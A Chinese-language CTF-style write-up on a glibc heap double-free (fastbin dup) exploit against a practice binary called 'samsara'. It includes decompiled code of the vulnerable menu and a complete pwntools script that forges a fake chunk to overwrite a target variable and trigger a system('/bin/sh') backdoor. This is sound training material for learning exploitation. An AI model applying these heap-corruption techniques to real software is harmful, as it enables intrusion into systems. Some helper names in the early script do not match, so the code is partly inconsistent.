Glibc堆利用-Double Free
漏洞成因:使用完一个chunk之后,只是free掉了指针,没有将内容置null
漏洞结果:free一个chunk之后,再次free,其实该chunk还在free list 里面,可以修改某一个在free list里面的chunk,可以修改该chunk的fd和bk指针,欺骗malloc返回一个任意地址的chunk,可以实现任意地址的写功能。
0x01
这里我们采用了师傅的样例程序,先检查该程序:
看到:保护全开,使用ida进行反编译分析:
发现经典菜单栏:并且实现了以下功能:
while ( 2 )
{
v10 = 0LL;
menu();
scan("%d", &v4);
switch ( (unsigned int)off_F70 )
{
case 1u:
if ( cnt >= 7 )
{
puts("You can't capture more people.");
}
else
{
v3 = cnt;
ptr[v3] = malloc(8uLL);
++cnt;
puts("Captured.");
}
continue;
case 2u:
puts("Index:");
scan("%d", &v5);
free(ptr[v5]);
puts("Eaten.");
continue;
case 3u:
puts("Index:");
scan("%d", &v5);
puts("Ingredient:");
scan("%llu", &v10);
*(_QWORD *)ptr[v5] = v10;
puts("Cooked.");
continue;
case 4u:
printf("Your lair is at: %p\n", &lair);
continue;
case 5u: // 给target赋值
puts("Which kingdom?");
scan("%llu", &v9);
lair = v9;
puts("Moved.");
continue;
case 6u:
if ( target == 0xDEADBEEFLL )
system("/bin/sh"); // 执行system函数
puts("Now, there's no Demon Dragon anymore...");
break;
default:
goto LABEL_13;
}
break;
}
可以发现:只要将target赋值为指定数值,即可执行system(’/bin/sh’):
但是v8初始化为0,且无对v8进行操作的函数。
存在漏洞:double free:
这里仅仅free掉了该指针,但是并没有将该指针置null,存在double free漏洞。
首先,写好判断条件函数,并加亿点点细节:
from pwn import *
from sys import argv
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p=process('./samsara')
def ret2libc(leak, func, path=''):
# if path == '':
# libc = LibcSearcher(func, leak)
# base = leak - libc.dump(func)
# system = base + libc.dump('system')
# binsh = base + libc.dump('str_bin_sh')
# else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg():
gdb.attach(p)
pause()
def add(size):
sla('> ','1')
def free(idx):
ru('choice > ')
sl('2')
sl(str(idx))
def edit(index,content):
sla('> ','3')
sla(':\n',str(index))
sla(':\n',content)
def print_target():
sla('> ', '4')
ru('0x')
return int(ru('\n'), 16)
def edit_target(target):
sla('> ','5')
sla('Which kingdom?',str(target))
def get_shell():
sla('> ','6')
首先,我们申请三个chunk,并产生double free条件:
add() # 0
add() # 1
add() # 2
delete(0)
delete(1)
delete(0)
dbg()
调试结果:
可以发现在fastbin中,存在double free漏洞,即两个chunk同时指向了同一个chunk:
0x20: 0x56065b19e010 —▸ 0x56065b19e030 ◂— 0x56065b19e010
这里,我们继续add两个chunk,使得:
第一个为原来的1号chunk
第二个为原来的0号chunk:
这样,原来的chunk区域就变成了:
是因为:
free0号chunk,free1号chunk,再次free0号chunk,但是再次申请的时候,按照计算机的顺序是无视了第二次被free的0号chunk,先取1号chunk,再取第一次被free的0号chunk。
这样,我们就可以构造一个fake_chunk:
edit_target(0x20)
fake = print_target()-8
其中,edit_target表示
而lair变量的值就处于target变量上方8个字节,在liar这个地方伪造一个chunk,写作0x20,伪造chunk的chunk指针在lair地址-8的地方,也就是target地址减去0x10的地方,使得target处于mem指针这个地方。
然后:
edit(3,fake)
表示更改0号chunk,fd指针为我们构造好的地址:
之后,再次add两个chunk,然后更改fake chunk里面的内容:
add() # 5
add() # 6
edit(6,0xdeadbeef)
这里,第一个add表示add第一个chunk,第二个add表示自己构造的fake_chunk。然后edit构造的fake_chunk为0xDEADBEEF:
成功的将oxDEADBEEF写入了我们构造的fake_chunk当中,并且使得chunk0的fd指针指向了fake_chunk,接下来直接执行后门函数就可以getshell:
sla('> ','6')
itr()
完整exp:
from pwn import *
from sys import argv
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p=process('./samsara')
def ret2libc(leak, func, path=''):
# if path == '':
# libc = LibcSearcher(func, leak)
# base = leak - libc.dump(func)
# system = base + libc.dump('system')
# binsh = base + libc.dump('str_bin_sh')
# else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg():
gdb.attach(p)
pause()
def add():
sla('> ','1')
def free(idx):
ru('choice > ')
sl('2')
sl(str(idx))
def edit(index,content):
sla('> ','3')
sla(':\n',str(index))
sla(':\n',content)
def print_target():
sla('> ', '4')
ru('0x')
return int(ru('\n'), 16)
def edit_target(target):
sla('> ','5')
sla('Which kingdom?',str(target))
def get_shell():
sla('> ','6')
add() #0
add() #1
add() #2
free(0) #0-free 1-use 2-use
free(1) #0-free 1-free 2-use
free(0) #0-double free 1-free 2-use
add()
add()
edit_target(0x20)
fake = print_target()-8
print(hex(fake))
edit(3,fake)
add() # 5
add() # 6
edit(6,0xdeadbeef)
sla('> ','6')
itr()